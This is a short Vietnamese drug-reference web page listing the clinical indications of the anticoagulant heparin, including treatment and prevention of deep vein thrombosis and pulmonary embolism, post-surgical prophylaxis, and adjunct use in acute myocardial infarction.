     Tracuuthuoctay chia sẻ bài viết  HEPARIN Chống đông máu. là gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc Heparin. Phòng và điều trị huyết khối tĩnh mạch sâu; Phòng và điều trị huyết khối nghẽn mạch phổi; Chế độ trị liệu liều thấp để phòng huyết khối tĩnh mạch và nghẽn mạch phổi sau đại phẫu thuật ở người bệnh có nguy cơ cao, thí dụ có tiền sử huyết khối nghẽn mạch và người bệnh cần bất động thời gian dài sau phẫu thuật, nhất là người tuổi từ 40 trở lên; điều trị hỗ trợ trong nhồi máu cơ tim cấp để giảm nguy cơ biến chứng huyết khối nghẽn mạch, đặc biệt ở người bệnh có nguy cơ cao thí dụ bị sốc, suy tim sung huyết, loạn nhịp kéo dài (nhất là rung nhĩ), có nhồi máu cơ tim trước đó
    #HEPARIN , #thuocHEPARIN #tracuuthuoctay, #yduoc, #nhathuoc

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: